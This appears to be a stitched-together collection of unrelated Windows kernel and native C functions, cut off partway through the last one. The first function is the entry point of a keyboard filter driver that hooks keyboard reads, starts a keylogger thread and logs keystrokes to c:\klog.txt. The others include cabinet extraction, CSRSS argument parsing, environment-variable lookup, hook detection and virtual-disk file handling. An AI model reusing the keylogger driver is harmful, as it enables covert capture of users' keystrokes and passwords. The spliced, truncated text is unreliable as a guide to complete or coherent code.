//@@@@@@@@@@@@@@@@@@@@@@@@ // IRQL = passive level //@@@@@@@@@@@@@@@@@@@@@@@@@ extern "C" NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS Status = {0}; DbgPrint("Keyboard Filter Driver - DriverEntry\nCompiled at " __TIME__ " on " __DATE__ "\n"); ///////////////////////////////////////////////////////////////////////////////////////// // Fill in IRP dispatch table in the DriverObject to handle I/O Request Packets (IRPs) ///////////////////////////////////////////////////////////////////////////////////////// // For a filter driver, we want pass down ALL IRP_MJ_XX requests to the driver which // we are hooking except for those we are interested in modifying. for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) pDriverObject->MajorFunction[i] = DispatchPassDown; DbgPrint("Filled dispatch table with generic pass down routine...\n"); //Explicitly fill in the IRP's we want to hook pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; //Go ahead and hook the keyboard now HookKeyboard(pDriverObject); DbgPrint("Hooked IRP_MJ_READ routine...\n"); //Set up our worker thread to handle file writes of the scan codes extracted from the //read IRPs InitThreadKeyLogger(pDriverObject); //Initialize the linked list that will serve as a queue to hold the captured keyboard scan codes PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; InitializeListHead(&pKeyboardDeviceExtension->QueueListHead); //Initialize the lock for the linked list queue KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue); //Initialize the work queue semaphore KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0 , MAXLONG); //Create the log file IO_STATUS_BLOCK file_status; OBJECT_ATTRIBUTES obj_attrib; CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt"; STRING ntNameString; UNICODE_STRING uFileName; RtlInitAnsiString( &ntNameString, ntNameFile); RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE ); InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,GENERIC_WRITE,&obj_attrib,&file_status, NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0); RtlFreeUnicodeString(&uFileName); if (Status != STATUS_SUCCESS) { DbgPrint("Failed to create log file...\n"); DbgPrint("File Status = %x\n",file_status); } else { DbgPrint("Successfully created log file...\n"); DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile); } // Set the DriverUnload procedure pDriverObject->DriverUnload = Unload; DbgPrint("Set DriverUnload function pointer...\n"); DbgPrint("Exiting Driver Entry......\n"); return STATUS_SUCCESS; }
/* * FUNCTION: Opens a cabinet file * RETURNS: * Status of operation */ ULONG CabinetOpen(VOID) { PUCHAR Buffer; UNICODE_STRING ustring; ANSI_STRING astring; if (!FileOpen) { OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; UNICODE_STRING FileName; NTSTATUS NtStatus; RtlInitUnicodeString(&FileName, CabinetName); InitializeObjectAttributes(&ObjectAttributes, &FileName, OBJ_CASE_INSENSITIVE, NULL, NULL); NtStatus = NtOpenFile(&FileHandle, GENERIC_READ | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(NtStatus)) { DPRINT("Cannot open file (%S) (%x)\n", CabinetName, NtStatus); return CAB_STATUS_CANNOT_OPEN; } FileOpen = TRUE; NtStatus = NtCreateSection(&FileSectionHandle, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_COMMIT, FileHandle); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtCreateSection failed: %x\n", NtStatus); return CAB_STATUS_NOMEMORY; } FileBuffer = 0; FileSize = 0; NtStatus = NtMapViewOfSection(FileSectionHandle, NtCurrentProcess(), (PVOID *)&FileBuffer, 0, 0, 0, &FileSize, ViewUnmap, 0, PAGE_READONLY); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtMapViewOfSection failed: %x\n", NtStatus); return CAB_STATUS_NOMEMORY; } DPRINT("Cabinet file %S opened and mapped to %x\n", CabinetName, FileBuffer); PCABHeader = (PCFHEADER) FileBuffer; /* Check header */ if (FileSize <= sizeof(CFHEADER) || PCABHeader->Signature != CAB_SIGNATURE || PCABHeader->Version != CAB_VERSION || PCABHeader->FolderCount == 0 || PCABHeader->FileCount == 0 || PCABHeader->FileTableOffset < sizeof(CFHEADER)) { CloseCabinet(); DPRINT("File has invalid header\n"); return CAB_STATUS_INVALID_CAB; } Buffer = (PUCHAR)(PCABHeader + 1); /* Read/skip any reserved bytes */ if (PCABHeader->Flags & CAB_FLAG_RESERVE) { CabinetReserved = *(PUSHORT)Buffer; Buffer += 2; FolderReserved = *Buffer; Buffer++; DataReserved = *Buffer; Buffer++; if (CabinetReserved > 0) { CabinetReservedArea = Buffer; Buffer += CabinetReserved; } } if (PCABHeader->Flags & CAB_FLAG_HASPREV) { /* The previous cabinet file is in the same directory as the current */ wcscpy(CabinetPrev, CabinetName); RemoveFileName(CabinetPrev); CabinetNormalizePath(CabinetPrev, 256); RtlInitAnsiString(&astring, (LPSTR)Buffer); ustring.Length = wcslen(CabinetPrev); ustring.Buffer = CabinetPrev + ustring.Length; ustring.MaximumLength = sizeof(CabinetPrev) - ustring.Length; RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE); Buffer += astring.Length + 1; /* Read label of prev disk */ RtlInitAnsiString(&astring, (LPSTR)Buffer); ustring.Length = 0; ustring.Buffer = DiskPrev; ustring.MaximumLength = sizeof(DiskPrev); RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE); Buffer += astring.Length + 1; } else { wcscpy(CabinetPrev, L""); wcscpy(DiskPrev, L""); } if (PCABHeader->Flags & CAB_FLAG_HASNEXT) { /* The next cabinet file is in the same directory as the previous */ wcscpy(CabinetNext, CabinetName); RemoveFileName(CabinetNext); CabinetNormalizePath(CabinetNext, 256); RtlInitAnsiString(&astring, (LPSTR)Buffer); ustring.Length = wcslen(CabinetNext); ustring.Buffer = CabinetNext + ustring.Length; ustring.MaximumLength = sizeof(CabinetNext) - ustring.Length; RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE); Buffer += astring.Length + 1; /* Read label of next disk */ RtlInitAnsiString(&astring, (LPSTR)Buffer); ustring.Length = 0; ustring.Buffer = DiskNext; ustring.MaximumLength = sizeof(DiskNext); RtlAnsiStringToUnicodeString(&ustring, &astring, FALSE); Buffer += astring.Length + 1; } else { wcscpy(CabinetNext, L""); wcscpy(DiskNext, L""); } CabinetFolders = (PCFFOLDER)Buffer; } DPRINT("CabinetOpen returning SUCCESS\n"); return CAB_STATUS_SUCCESS; }
/* * FUNCTION: Extracts a file from the cabinet * ARGUMENTS: * Search = Pointer to PCAB_SEARCH structure used to locate the file * RETURNS * Status of operation */ ULONG CabinetExtractFile(PCAB_SEARCH Search) { ULONG Size; // remaining file bytes to decompress ULONG CurrentOffset; // current uncompressed offset within the folder PUCHAR CurrentBuffer; // current pointer to compressed data in the block LONG RemainingBlock; // remaining comp data in the block HANDLE DestFile; HANDLE DestFileSection; PVOID DestFileBuffer; // mapped view of dest file PVOID CurrentDestBuffer; // pointer to the current position in the dest view PCFDATA CFData; // current data block ULONG Status; FILETIME FileTime; WCHAR DestName[MAX_PATH]; NTSTATUS NtStatus; UNICODE_STRING UnicodeString; ANSI_STRING AnsiString; IO_STATUS_BLOCK IoStatusBlock; OBJECT_ATTRIBUTES ObjectAttributes; FILE_BASIC_INFORMATION FileBasic; PCFFOLDER CurrentFolder; LARGE_INTEGER MaxDestFileSize; LONG InputLength, OutputLength; char Junk[512]; if (wcscmp(Search->Cabinet, CabinetName) != 0) { /* the file is not in the current cabinet */ DPRINT("File is not in this cabinet (%S != %S)\n", Search->Cabinet, CabinetName); return CAB_STATUS_NOFILE; } /* look up the folder that the file specifies */ if (Search->File->FolderIndex == 0xFFFD || Search->File->FolderIndex == 0xFFFF) { /* folder is continued from previous cabinet, that shouldn't happen here */ return CAB_STATUS_NOFILE; } else if (Search->File->FolderIndex == 0xFFFE) { /* folder is the last in this cabinet and continues into next */ CurrentFolder = &CabinetFolders[PCABHeader->FolderCount - 1]; } else { /* folder is completely contained within this cabinet */ CurrentFolder = &CabinetFolders[Search->File->FolderIndex]; } switch (CurrentFolder->CompressionType & CAB_COMP_MASK) { case CAB_COMP_NONE: CabinetSelectCodec(CAB_CODEC_RAW); break; case CAB_COMP_MSZIP: CabinetSelectCodec(CAB_CODEC_MSZIP); break; default: return CAB_STATUS_UNSUPPCOMP; } DPRINT("Extracting file at uncompressed offset (0x%X) Size (%d bytes)\n", (UINT)Search->File->FileOffset, (UINT)Search->File->FileSize); RtlInitAnsiString(&AnsiString, Search->File->FileName); wcscpy(DestName, DestPath); UnicodeString.MaximumLength = sizeof(DestName) - wcslen(DestName) * sizeof(WCHAR); UnicodeString.Buffer = DestName + wcslen(DestName); UnicodeString.Length = 0; RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, FALSE); /* Create destination file, fail if it already exists */ RtlInitUnicodeString(&UnicodeString, DestName); InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); NtStatus = NtCreateFile(&DestFile, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtCreateFile() failed (%S) (%x)\n", DestName, NtStatus); /* If file exists, ask to overwrite file */ if (OverwriteHandler == NULL || OverwriteHandler(Search->File, DestName)) { /* Create destination file, overwrite if it already exists */ NtStatus = NtCreateFile(&DestFile, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE, FILE_SYNCHRONOUS_IO_ALERT, NULL, 0); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtCreateFile() failed (%S) (%x)\n", DestName, NtStatus); return CAB_STATUS_CANNOT_CREATE; } } else { DPRINT("File (%S) exists\n", DestName); return CAB_STATUS_FILE_EXISTS; } } MaxDestFileSize.QuadPart = Search->File->FileSize; NtStatus = NtCreateSection(&DestFileSection, SECTION_ALL_ACCESS, 0, &MaxDestFileSize, PAGE_READWRITE, SEC_COMMIT, DestFile); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtCreateSection failed: %x\n", NtStatus); Status = CAB_STATUS_NOMEMORY; goto CloseDestFile; } DestFileBuffer = 0; DestFileSize = 0; NtStatus = NtMapViewOfSection(DestFileSection, NtCurrentProcess(), &DestFileBuffer, 0, 0, 0, &DestFileSize, ViewUnmap, 0, PAGE_READWRITE); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtMapViewOfSection failed: %x\n", NtStatus); Status = CAB_STATUS_NOMEMORY; goto CloseDestFileSection; } CurrentDestBuffer = DestFileBuffer; if (!ConvertDosDateTimeToFileTime(Search->File->FileDate, Search->File->FileTime, &FileTime)) { DPRINT("DosDateTimeToFileTime() failed\n"); Status = CAB_STATUS_CANNOT_WRITE; goto UnmapDestFile; } NtStatus = NtQueryInformationFile(DestFile, &IoStatusBlock, &FileBasic, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtQueryInformationFile() failed (%x)\n", NtStatus); } else { memcpy(&FileBasic.LastAccessTime, &FileTime, sizeof(FILETIME)); NtStatus = NtSetInformationFile(DestFile, &IoStatusBlock, &FileBasic, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation); if (!NT_SUCCESS(NtStatus)) { DPRINT("NtSetInformationFile() failed (%x)\n", NtStatus); } } SetAttributesOnFile(Search->File, DestFile); /* Call extract event handler */ if (ExtractHandler != NULL) { ExtractHandler(Search->File, DestName); } if (Search->CFData) CFData = Search->CFData; else CFData = (PCFDATA)(CabinetFolders[Search->File->FolderIndex].DataOffset + FileBuffer); CurrentOffset = Search->Offset; while (CurrentOffset + CFData->UncompSize <= Search->File->FileOffset) { /* walk the data blocks until we reach the one containing the start of the file */ CurrentOffset += CFData->UncompSize; CFData = (PCFDATA)((char *)(CFData + 1) + DataReserved + CFData->CompSize); } Search->CFData = CFData; Search->Offset = CurrentOffset; /* now decompress and discard any data in the block before the start of the file */ /* start of comp data */ CurrentBuffer = ((unsigned char *)(CFData + 1)) + DataReserved; RemainingBlock = CFData->CompSize; InputLength = RemainingBlock; while (CurrentOffset < Search->File->FileOffset) { /* compute remaining uncomp bytes to start of file, bounded by sizeof junk */ OutputLength = Search->File->FileOffset - CurrentOffset; if (OutputLength > (LONG)sizeof(Junk)) OutputLength = sizeof (Junk); /* negate to signal NOT end of block */ OutputLength = -OutputLength; CodecUncompress(Junk, CurrentBuffer, &InputLength, &OutputLength); /* add the uncomp bytes extracted to current folder offset */ CurrentOffset += OutputLength; /* add comp bytes consumed to CurrentBuffer */ CurrentBuffer += InputLength; /* subtract bytes consumed from bytes remaining in block */ RemainingBlock -= InputLength; /* neg for resume decompression of the same block */ InputLength = -RemainingBlock; } /* now CurrentBuffer points to the first comp byte of the file, so we can begin decompressing */ /* Size = remaining uncomp bytes of the file to decompress */ Size = Search->File->FileSize; while (Size > 0) { OutputLength = Size; DPRINT("Decompressing block at %x with RemainingBlock = %d, Size = %d\n", CurrentBuffer, RemainingBlock, Size); Status = CodecUncompress(CurrentDestBuffer, CurrentBuffer, &InputLength, &OutputLength); if (Status != CS_SUCCESS) { DPRINT("Cannot uncompress block\n"); if (Status == CS_NOMEMORY) Status = CAB_STATUS_NOMEMORY; Status = CAB_STATUS_INVALID_CAB; goto UnmapDestFile; } /* advance dest buffer by bytes produced */ CurrentDestBuffer = (PVOID)((ULONG_PTR)CurrentDestBuffer + OutputLength); /* advance src buffer by bytes consumed */ CurrentBuffer += InputLength; /* reduce remaining file bytes by bytes produced */ Size -= OutputLength; /* reduce remaining block size by bytes consumed */ RemainingBlock -= InputLength; if (Size > 0 && RemainingBlock == 0) { /* used up this block, move on to the next */ DPRINT("Out of block data\n"); CFData = (PCFDATA)CurrentBuffer; RemainingBlock = CFData->CompSize; CurrentBuffer = (unsigned char *)(CFData + 1) + DataReserved; InputLength = RemainingBlock; } } Status = CAB_STATUS_SUCCESS; UnmapDestFile: NtUnmapViewOfSection(NtCurrentProcess(), DestFileBuffer); CloseDestFileSection: NtClose(DestFileSection); CloseDestFile: NtClose(DestFile); return Status; }
/*++ * @name CsrParseServerCommandLine * * The CsrParseServerCommandLine routine parses the CSRSS command-line in the * registry and performs operations for each entry found. * * @param ArgumentCount * Number of arguments on the command line. * * @param Arguments * Array of arguments. * * @return STATUS_SUCCESS in case of success, STATUS_UNSUCCESSFUL otherwise. * * @remarks None. * *--*/ NTSTATUS NTAPI CsrParseServerCommandLine(IN ULONG ArgumentCount, IN PCHAR Arguments[]) { NTSTATUS Status; PCHAR ParameterName = NULL, ParameterValue = NULL, EntryPoint, ServerString; ULONG i, DllIndex; ANSI_STRING AnsiString; OBJECT_ATTRIBUTES ObjectAttributes; /* Set the Defaults */ CsrTotalPerProcessDataLength = 0; CsrObjectDirectory = NULL; CsrMaxApiRequestThreads = 16; /* Save our Session ID, and create a Directory for it */ SessionId = NtCurrentPeb()->SessionId; Status = CsrCreateSessionObjectDirectory(SessionId); if (!NT_SUCCESS(Status)) { DPRINT1("CSRSS: CsrCreateSessionObjectDirectory failed (%lx)\n", Status); /* It's not fatal if the session ID isn't zero */ if (SessionId != 0) return Status; ASSERT(NT_SUCCESS(Status)); } /* Loop through every argument */ for (i = 1; i < ArgumentCount; i++) { /* Split Name and Value */ ParameterName = Arguments[i]; ParameterValue = NULL; ParameterValue = strchr(ParameterName, '='); if (ParameterValue) *ParameterValue++ = ANSI_NULL; DPRINT1("Name=%s, Value=%s\n", ParameterName, ParameterValue); /* Check for Object Directory */ if (_stricmp(ParameterName, "ObjectDirectory") == 0) { /* Check if a session ID is specified */ if (SessionId != 0) { DPRINT1("Sessions not yet implemented\n"); ASSERT(SessionId); } /* Initialize the directory name */ RtlInitAnsiString(&AnsiString, ParameterValue); Status = RtlAnsiStringToUnicodeString(&CsrDirectoryName, &AnsiString, TRUE); ASSERT(NT_SUCCESS(Status) || SessionId != 0); if (!NT_SUCCESS(Status)) return Status; /* Create it */ InitializeObjectAttributes(&ObjectAttributes, &CsrDirectoryName, OBJ_OPENIF | OBJ_CASE_INSENSITIVE | OBJ_PERMANENT, NULL, NULL); Status = NtCreateDirectoryObject(&CsrObjectDirectory, DIRECTORY_ALL_ACCESS, &ObjectAttributes); if (!NT_SUCCESS(Status)) return Status; /* Secure it */ Status = CsrSetDirectorySecurity(CsrObjectDirectory); if (!NT_SUCCESS(Status)) return Status; } else if (_stricmp(ParameterName, "SubSystemType") == 0) { /* Ignored */ } else if (_stricmp(ParameterName, "MaxRequestThreads") == 0) { Status = RtlCharToInteger(ParameterValue, 0, &CsrMaxApiRequestThreads); } else if (_stricmp(ParameterName, "RequestThreads") == 0) { /* Ignored */ Status = STATUS_SUCCESS; } else if (_stricmp(ParameterName, "ProfileControl") == 0) { /* Ignored */ } else if (_stricmp(ParameterName, "SharedSection") == 0) { /* Create the Section */ Status = CsrSrvCreateSharedSection(ParameterValue); if (!NT_SUCCESS(Status)) { DPRINT1("CSRSS: *** Invalid syntax for %s=%s (Status == %X)\n", ParameterName, ParameterValue, Status); return Status; } /* Load us */ Status = CsrLoadServerDll("CSRSS" /* "CSRSRV" */, NULL, CSRSRV_SERVERDLL_INDEX); } else if (_stricmp(ParameterName, "ServerDll") == 0) { /* Loop the command line */ EntryPoint = NULL; Status = STATUS_INVALID_PARAMETER; ServerString = ParameterValue; while (*ServerString) { /* Check for the Entry Point */ if ((*ServerString == ':') && (!EntryPoint)) { /* Found it. Add a nullchar and save it */ *ServerString++ = ANSI_NULL; EntryPoint = ServerString; } /* Check for the Dll Index */ if (*ServerString++ == ',') break; } /* Did we find something to load? */ if (!*ServerString) { DPRINT1("CSRSS: *** Invalid syntax for ServerDll=%s (Status == %X)\n", ParameterValue, Status); return Status; } /* Convert it to a ULONG */ Status = RtlCharToInteger(ServerString, 10, &DllIndex); /* Add a null char if it was valid */ if (NT_SUCCESS(Status)) ServerString[-1] = ANSI_NULL; /* Load it */ if (CsrDebug & 1) DPRINT1("CSRSS: Loading ServerDll=%s:%s\n", ParameterValue, EntryPoint); Status = CsrLoadServerDll(ParameterValue, EntryPoint, DllIndex); if (!NT_SUCCESS(Status)) { DPRINT1("CSRSS: *** Failed loading ServerDll=%s (Status == 0x%x)\n", ParameterValue, Status); return Status; } } else if (_stricmp(ParameterName, "Windows") == 0) { /* Ignored */ // Check whether we want to start in pure GUI or pure CLI. } else { /* Invalid parameter on the command line */ Status = STATUS_INVALID_PARAMETER; } } /* Return status */ return Status; }
/* * @implemented */ DWORD WINAPI GetEnvironmentVariableA ( LPCSTR lpName, LPSTR lpBuffer, DWORD nSize ) { ANSI_STRING VarName; ANSI_STRING VarValue; UNICODE_STRING VarNameU; UNICODE_STRING VarValueU; NTSTATUS Status; /* initialize unicode variable name string */ RtlInitAnsiString (&VarName, (LPSTR)lpName); RtlAnsiStringToUnicodeString (&VarNameU, &VarName, TRUE); /* initialize ansi variable value string */ VarValue.Length = 0; VarValue.MaximumLength = (USHORT)nSize; VarValue.Buffer = lpBuffer; /* initialize unicode variable value string and allocate buffer */ VarValueU.Length = 0; if (nSize != 0) { VarValueU.MaximumLength = (USHORT)(nSize - 1) * sizeof(WCHAR); VarValueU.Buffer = RtlAllocateHeap (RtlGetProcessHeap (), 0, nSize * sizeof(WCHAR)); if (VarValueU.Buffer != NULL) { /* NULL-terminate the buffer in any case! RtlQueryEnvironmentVariable_U only terminates it if MaximumLength < Length! */ VarValueU.Buffer[nSize - 1] = L'\0'; } } else { VarValueU.MaximumLength = 0; VarValueU.Buffer = NULL; } if (VarValueU.Buffer != NULL || nSize == 0) { /* get unicode environment variable */ Status = RtlQueryEnvironmentVariable_U (NULL, &VarNameU, &VarValueU); if (!NT_SUCCESS(Status)) { /* free unicode buffer */ RtlFreeHeap (RtlGetProcessHeap (), 0, VarValueU.Buffer); /* free unicode variable name string */ RtlFreeUnicodeString (&VarNameU); SetLastErrorByStatus (Status); if (Status == STATUS_BUFFER_TOO_SMALL) { return (VarValueU.Length / sizeof(WCHAR)) + 1; } else { return 0; } } /* convert unicode value string to ansi */ RtlUnicodeStringToAnsiString (&VarValue, &VarValueU, FALSE); if (VarValueU.Buffer != NULL) { /* free unicode buffer */ RtlFreeHeap (RtlGetProcessHeap (), 0, VarValueU.Buffer); } /* free unicode variable name string */ RtlFreeUnicodeString (&VarNameU); return (VarValueU.Length / sizeof(WCHAR)); } else { SetLastError (ERROR_NOT_ENOUGH_MEMORY); return 0; } }
NTSTATUS INIT_FUNCTION NTAPI IopCreateArcNames(IN PLOADER_PARAMETER_BLOCK LoaderBlock) { PARC_DISK_INFORMATION ArcDiskInfo = LoaderBlock->ArcDiskInformation; CHAR Buffer[128]; ANSI_STRING ArcSystemString, ArcString; BOOLEAN SingleDisk; ULONG Length; NTSTATUS Status; BOOLEAN FoundBoot = FALSE; /* Check if we only have one disk on the machine */ SingleDisk = ArcDiskInfo->DiskSignatureListHead.Flink->Flink == (&ArcDiskInfo->DiskSignatureListHead); /* Create the global HAL partition name */ sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcHalDeviceName); RtlInitAnsiString(&ArcString, Buffer); RtlAnsiStringToUnicodeString(&IoArcHalDeviceName, &ArcString, TRUE); /* Create the global system partition name */ sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName); RtlInitAnsiString(&ArcString, Buffer); RtlAnsiStringToUnicodeString(&IoArcBootDeviceName, &ArcString, TRUE); /* Allocate memory for the string */ Length = strlen(LoaderBlock->ArcBootDeviceName) + sizeof(ANSI_NULL); IoLoaderArcBootDeviceName = ExAllocatePoolWithTag(PagedPool, Length, TAG_IO); if (IoLoaderArcBootDeviceName) { /* Copy the name */ RtlCopyMemory(IoLoaderArcBootDeviceName, LoaderBlock->ArcBootDeviceName, Length); } /* Check if we only found a disk, but we're booting from CD-ROM */ if ((SingleDisk) && strstr(LoaderBlock->ArcBootDeviceName, "cdrom")) { /* Then disable single-disk mode, since there's a CD drive out there */ SingleDisk = FALSE; } /* Build the boot strings */ RtlInitAnsiString(&ArcSystemString, LoaderBlock->ArcHalDeviceName); /* FIXME: Handle IoRemoteBootClient here and create appropriate symbolic link */ /* Loop every disk and try to find boot disk */ Status = IopCreateArcNamesDisk(LoaderBlock, SingleDisk, &FoundBoot); /* If it succeed but we didn't find boot device, try to browse Cds */ if (NT_SUCCESS(Status) && !FoundBoot) { Status = IopCreateArcNamesCd(LoaderBlock); } /* Return success */ return Status; }
///////////////////////////////////////////////////// // // // CheckDriver() // // // ///////////////////////////////////////////////////// //Description: Runs hook/detour detection routines // on the passed-in driver. // // Note: pHookTable and pDetourTable are // both optional, depending on which test // you wish to run. // //Returns: void ///////////////////////////////////////////////////// NTSTATUS CheckDriver(__in PUNICODE_STRING puDriverName, __in PUNICODE_STRING puDriverDeviceName, __inout_opt PHOOKED_DISPATCH_FUNCTIONS_TABLE pHookTable, __inout_opt PDETOURED_DISPATCH_FUNCTIONS_TABLE pDetourTable) { PMODULE_LIST pModuleList; ULONG bufsize=0; PULONG returnLength=0; ULONG modsize=0,modbase=0; CHAR ModuleName[256]; WCHAR wModuleName[256]; UNICODE_STRING uModuleName; ANSI_STRING aModuleName; PCHAR nameStart; NTSTATUS nt; int i; //0 buffer size is returned on failure bufsize=GetInformationClassSize(SystemModuleInformation); if (bufsize == 0) return STATUS_UNSUCCESSFUL; //loop through list of loaded drivers pModuleList=ExAllocatePoolWithTag(NonPagedPool,bufsize,CW_TAG); //oops, out of memory... if (pModuleList == NULL) { DbgPrint("CheckDriver(): Out of memory.\n"); return STATUS_UNSUCCESSFUL; } nt=ZwQuerySystemInformation(SystemModuleInformation,pModuleList,bufsize,returnLength); if (nt != STATUS_SUCCESS) { DbgPrint("CheckDriver(): ZwQuerySystemInformation() failed.\n"); if (pModuleList != NULL) ExFreePoolWithTag(pModuleList,CW_TAG); return STATUS_UNSUCCESSFUL; } //loop through the module list looking for the driver we are interested in; //retrieve it's load address and size. for(i=0;i<(long)pModuleList->ModuleCount;i++) { nameStart=pModuleList->Modules[i].ImageName+pModuleList->Modules[i].ModuleNameOffset; memcpy(ModuleName,nameStart,256-pModuleList->Modules[i].ModuleNameOffset); //since ZwQuerySystemInformation() returns a CHAR[256] and we need to compare it to a UNICODE_STRING, convert... RtlInitAnsiString(&aModuleName,ModuleName); RtlAnsiStringToUnicodeString(&uModuleName,&aModuleName,TRUE); //if we are on the driver we care about if (RtlCompareUnicodeString(&uModuleName,puDriverName,TRUE) == 0) { modsize=(ULONG)pModuleList->Modules[i].Size; modbase=(ULONG)pModuleList->Modules[i].Base; //free the tmp unicode string if (uModuleName.Buffer != NULL) RtlFreeUnicodeString(&uModuleName); break; } //free the tmp unicode string if (uModuleName.Buffer != NULL) RtlFreeUnicodeString(&uModuleName); } //bail if we didnt find the driver we were asked to look for. if (modsize == 0 || modbase == 0) { ExFreePoolWithTag(pModuleList,CW_TAG); DbgPrint("CheckDriver(): Failed to get this driver's size and base - maybe it's not loaded?\n"); return STATUS_UNSUCCESSFUL; } DbgPrint("CheckDriver(): Found driver %wZ loaded at base address 0x%08x",puDriverName,modbase); //convert the driver device name to a PCWSTR //mbstowcs(uDriverDeviceName,driverDeviceName,256); //go ahead and save the driver name and device name in both tables if (pHookTable != NULL) { RtlInitUnicodeString(&pHookTable->DriverName,puDriverName->Buffer); RtlInitUnicodeString(&pHookTable->DriverDeviceName,puDriverDeviceName->Buffer); } if (pDetourTable != NULL) { //initialize the max length of the dest string RtlInitUnicodeString(&pDetourTable->DriverName,puDriverName->Buffer); RtlInitUnicodeString(&pDetourTable->DriverDeviceName,puDriverDeviceName->Buffer); } //---------------- // ** IRP HOOKS ** //---------------- if (!GetIrpTableHooksAndDetours(puDriverName,puDriverDeviceName,modbase,modsize, pHookTable, pDetourTable)) { ExFreePoolWithTag(pModuleList,CW_TAG); return STATUS_UNSUCCESSFUL; } if (pModuleList != NULL) ExFreePoolWithTag(pModuleList,CW_TAG); return STATUS_SUCCESS; }
// // Opens an image file // VDKSTAT VdkOpenFile( IN HANDLE *FileHandle, IN PCHAR FileName, IN ULONG NameLen, IN ULONG ReadOnly) { CHAR buf[MAXIMUM_FILENAME_LENGTH]; ULONG prefix; ANSI_STRING ansi_name; UNICODE_STRING unicode_name; OBJECT_ATTRIBUTES attributes; IO_STATUS_BLOCK io_status; VDKSTAT status = VDK_OK; // // append appropriate prefix // prefix = 0; if (RtlCompareMemory(FileName, "\\??\\", 4) != 4) { RtlCopyMemory(buf, "\\??\\", 4); prefix = 4; if ((*FileName == '\\' || *FileName == '/') && (*(FileName + 1) == '\\' || *(FileName + 1) == '/')) { // // UNC path // RtlCopyMemory(buf + prefix, "UNC", 3); FileName++; NameLen--; prefix += 3; } } RtlCopyMemory(buf + prefix, FileName, NameLen); buf[NameLen + prefix] = '\0'; VDKTRACE(VDKOPEN | VDKINFO, ("[VDK] Opening file %s for %s\n", buf, ReadOnly ? "read-only" : "read-write")); // // generate unicode filename // RtlInitAnsiString(&ansi_name, buf); status = RtlAnsiStringToUnicodeString( &unicode_name, &ansi_name, TRUE); if (!VDKSUCCESS(status)) { VDKTRACE(VDKOPEN, ("[VDK] Failed to convert filename to UNICODE\n")); return status; } // // open the file // InitializeObjectAttributes( &attributes, &unicode_name, OBJ_CASE_INSENSITIVE, NULL, NULL); status = ZwCreateFile( FileHandle, ReadOnly ? GENERIC_READ : (GENERIC_READ | GENERIC_WRITE), &attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL, ReadOnly ? FILE_SHARE_READ : 0, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_RANDOM_ACCESS | FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); RtlFreeUnicodeString(&unicode_name); if (!VDKSUCCESS(status)) { VDKTRACE(VDKOPEN, ("[VDK] ZwCreateFile - %s\n", VdkStatusStr(status))); *FileHandle = NULL; } return status; }
static VOID ssh_event_log_cb(SshLogFacility facility, SshLogSeverity severity, const char *msg, PDRIVER_OBJECT driver) { PIO_ERROR_LOG_PACKET pkt; UNICODE_STRING uc; ANSI_STRING ansi; size_t pkt_size; if (msg == NULL) return; if ((SSH_GET_IRQL() > SSH_PASSIVE_LEVEL) && (the_interceptor != NULL)) { /* Event logging can't be performed at a raised IRQL, so we have to schedule a work item to complete the operation */ SshEventLogRequest request = ssh_calloc(1, sizeof(*request)); if (request == NULL) return; request->msg = ssh_strdup(msg); if (request->msg == NULL) { ssh_free(request); return; } request->facility = facility; request->severity = severity; request->driver = driver; if (ssh_ndis_wrkqueue_queue_item(the_interceptor->work_queue, ssh_event_log_work_queue_cb, request) == FALSE) { ssh_free(request->msg); ssh_free(request); } return; } /* Compose unicode error message string */ RtlInitAnsiString(&ansi, msg); /* Calculate the maximum length a error log entry can contain */ uc.Length = 0; uc.MaximumLength = ansi.MaximumLength * sizeof(WCHAR); if ((sizeof(IO_ERROR_LOG_PACKET) + uc.MaximumLength) > ERROR_LOG_MAXIMUM_SIZE) { char *msg_copy; /* The message must be splitted into several fragments */ uc.MaximumLength = 